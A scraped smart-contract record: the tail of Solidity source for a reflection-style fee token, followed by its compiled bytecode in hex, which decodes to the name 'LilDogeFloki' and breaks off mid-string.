rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b60405161012591906139ee565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906135db565b6103f6565b60405161016291906139d3565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613b10565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613588565b610423565b6040516101ca91906139d3565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f591906134ee565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613bbc565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b50610265600480360381019061026091906134ee565b61061e565b6040516102729190613b10565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b49190613905565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df91906139ee565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906135db565b6108c2565b60405161031c91906139d3565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061361b565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e9190613548565b6110d2565b6040516103b09190613b10565b60405180910390f35b60606040518060400160405280600c81526020017f4c696c446f6765466c6f6b690000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613d5e565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613a50565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611cf7565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d63565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613a50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4c494c444f474500000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613a50565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613f49565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613e71565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611dca565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613a50565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613ad0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f919061351b565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d50919061351b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce929190613920565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061351b565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613972565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613691565b5050506014601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b8152600401611047929190613949565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613664565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613ab0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613a30565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613b10565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a90565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613a70565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494612005565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611c1d576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613af0565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613d04565b6118d09190613cd3565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613eba565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613d04565b611ad29190613cd3565b811115611ae357611ae281612017565b5b505b5b6012600b9054906101000a900460ff16611c1c57600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576014601260086101000a81548161ffff021916908361ffff1602179055505b6019601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a57601e601260086101000a81548161ffff021916908361ffff1602179055505b6023601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd2576032601260086101000a81548161ffff021916908361ffff1602179055505b6028601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c1b576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cc45750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cdb57506012600b9054906101000a900460ff165b15611ce557600090505b611cf18484848461212d565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d5f573d6000803e3d6000fd5b5050565b6000600e54821115611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190613a10565b60405180910390fd5b6000611db4612376565b90508083611dc29190613cd3565b915050919050565b6000600267ffffffffffffffff811115611de757611de6613f78565b5b604051908082528060200260200182016040528015611e155781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e4f57611e4e613f49565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611ec057611ebf613f49565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f49600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611fcf959493929190613b2b565b600060405180830381600087803b158015611fe957600080fd5b505af1158015611ffd573d6000803e3d6000fd5b505050505050565b6000601081905550600c601181905550565b60016012600b6101000a81548160ff02191690831515021790555060006005826120419190613cd3565b9050600081836120519190613d5e565b905061205c81611dca565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316120a49190613cd3565b90506120bb6004826120b69190613d04565b611cf7565b6120c5838261239a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120f49190613d04565b8560405161210493929190613b85565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b8061213b5761213a6124d2565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121de5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f3576121ee8484846124e4565b612370565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122965750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122ab576122a684848461272f565b61236f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123625761235d84848461297a565b61236e565b61236d848484612c53565b5b5b5b50505050565b6000806000612383612e10565b9150915080826123939190613cd3565b9250505090565b6123e9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560008061245761085c565b426040518863ffffffff1660e01b815260040161247996959493929190613972565b6060604051808303818588803b15801561249257600080fd5b505af11580156124a6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124cb9190613691565b5050505050565b60006010819055506000601181905550565b6000806000806000806124f6876130c2565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254d9190613d5e565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125db9190613d5e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126699190613c7d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b581613124565b6126bf84836132e9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161271c9190613b10565b60405180910390a3505050505050505050565b600080600080600080612741876130c2565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127989190613d5e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128269190613c7d565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b49190613c7d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061290081613124565b61290a84836132e9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129679190613b10565b60405180910390a3505050505050505050565b60008060008060008061298c876130c2565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e39190613d5e565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a719190613d5e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aff9190613c7d565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8d9190613c7d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bd981613124565b612be384836132e9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c409190613b10565b60405180910390a3505050505050505050565b600080600080600080612c65876130c2565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cbc9190613d5e565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4a9190613c7d565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9681613124565b612da084836132e9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612dfd9190613b10565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b60098054905081101561308257826001600060098481548110612e4f57612e4e613f49565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612f3d5750816002600060098481548110612ed557612ed4613f49565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612f5957600e5466038d7ea4c68000945094505050506130be565b6001600060098381548110612f7157612f70613f49565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612fe29190613d5e565b92506002600060098381548110612ffc57612ffb613f49565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261306d9190613d5e565b9150808061307a90613e71565b915050612e29565b5066038d7ea4c68000600e546130989190613cd3565b8210156130b557600e5466038d7ea4c680009350935050506130be565b81819350935050505b9091565b60008060008060008060008060006130df8a601054601154613315565b92509250925060008060006130fd8d86866130f8612376565b613381565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061312e612376565b90506000818361313e9190613d04565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad9190613c7d565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327f9190613c7d565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132f79190613d5e565b600e8190555080600f5461330b9190613c7d565b600f819055505050565b600080600080606486886133299190613d04565b6133339190613cd3565b90506000606486896133459190613d04565b61334f9190613cd3565b9050600081838a6133609190613d5e565b61336a9190613d5e565b905080838395509550955050505093509350939050565b60008060008084886133939190613d04565b9050600085886133a39190613d04565b9050600086886133b39190613d04565b905060008183856133c49190613d5e565b6133ce9190613d5e565b9050838184965096509650505050509450945094915050565b60006133fa6133f584613bfc565b613bd7565b9050808382526020820190508285602086028201111561341d5761341c613fac565b5b60005b8581101561344d57816134338882613457565b845260208401935060208301925050600181019050613420565b5050509392505050565b600081359050613466816141d2565b92915050565b60008151905061347b816141d2565b92915050565b600082601f83011261349657613495613fa7565b5b81356134a68482602086016133e7565b91505092915050565b6000815190506134be816141e9565b92915050565b6000813590506134d381614200565b92915050565b6000815190506134e881614200565b92915050565b60006020828403121561350457613503613fb6565b5b600061351284828501613457565b91505092915050565b60006020828403121561353157613530613fb6565b5b600061353f8482850161346c565b91505092915050565b6000806040838503121561355f5761355e613fb6565b5b600061356d85828601613457565b925050602061357e85828601613457565b9150509250929050565b6000806000606084860312156135a1576135a0613fb6565b5b60006135af86828701613457565b93505060206135c086828701613457565b92505060406135d1868287016134c4565b9150509250925092565b600080604083850312156135f2576135f1613fb6565b5b600061360085828601613457565b9250506020613611858286016134c4565b9150509250929050565b60006020828403121561363157613630613fb6565b5b600082013567ffffffffffffffff81111561364f5761364e613fb1565b5b61365b84828501613481565b91505092915050565b60006020828403121561367a57613679613fb6565b5b6000613688848285016134af565b91505092915050565b6000806000606084860312156136aa576136a9613fb6565b5b60006136b8868287016134d9565b93505060206136c9868287016134d9565b92505060406136da868287016134d9565b9150509250925092565b60006136f083836136fc565b60208301905092915050565b61370581613d92565b82525050565b61371481613d92565b82525050565b600061372582613c38565b61372f8185613c5b565b935061373a83613c28565b8060005b8381101561376b57815161375288826136e4565b975061375d83613c4e565b92505060018101905061373e565b5085935050505092915050565b61378181613da4565b82525050565b61379081613dfb565b82525050565b60006137a182613c43565b6137ab8185613c6c565b93506137bb818560208601613e0d565b6137c481613fbb565b840191505092915050565b60006137dc602a83613c6c565b91506137e782613fcc565b604082019050919050565b60006137ff602283613c6c565b915061380a8261401b565b604082019050919050565b6000613822602083613c6c565b915061382d8261406a565b602082019050919050565b6000613845602983613c6c565b915061385082614093565b604082019050919050565b6000613868602583613c6c565b9150613873826140e2565b604082019050919050565b600061388b602483613c6c565b915061389682614131565b604082019050919050565b60006138ae601783613c6c565b91506138b982614180565b602082019050919050565b60006138d1601183613c6c565b91506138dc826141a9565b602082019050919050565b6138f081613dd0565b82525050565b6138ff81613dee565b82525050565b600060208201905061391a600083018461370b565b92915050565b6000604082019050613935600083018561370b565b613942602083018461370b565b9392505050565b600060408201905061395e600083018561370b565b61396b60208301846138e7565b9392505050565b600060c082019050613987600083018961370b565b61399460208301886138e7565b6139a16040830187613787565b6139ae6060830186613787565b6139bb608083018561370b565b6139c860a08301846138e7565b979650505050505050565b60006020820190506139e86000830184613778565b92915050565b60006020820190508181036000830152613a088184613796565b905092915050565b60006020820190508181036000830152613a29816137cf565b9050919050565b60006020820190508181036000830152613a49816137f2565b9050919050565b60006020820190508181036000830152613a6981613815565b9050919050565b60006020820190508181036000830152613a8981613838565b9050919050565b60006020820190508181036000830152613aa98161385b565b9050919050565b60006020820190508181036000830152613ac98161387e565b9050919050565b60006020820190508181036000830152613ae9816138a1565b9050919050565b60006020820190508181036000830152613b09816138c4565b9050919050565b6000602082019050613b2560008301846138e7565b92915050565b600060a082019050613b4060008301886138e7565b613b4d6020830187613787565b8181036040830152613b5f818661371a565b9050613b6e606083018561370b565b613b7b60808301846138e7565b9695505050505050565b6000606082019050613b9a60008301866138e7565b613ba760208301856138e7565b613bb460408301846138e7565b949350505050565b6000602082019050613bd160008301846138f6565b92915050565b6000613be1613bf2565b9050613bed8282613e40565b919050565b6000604051905090565b600067ffffffffffffffff821115613c1757613c16613f78565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c8882613dd0565b9150613c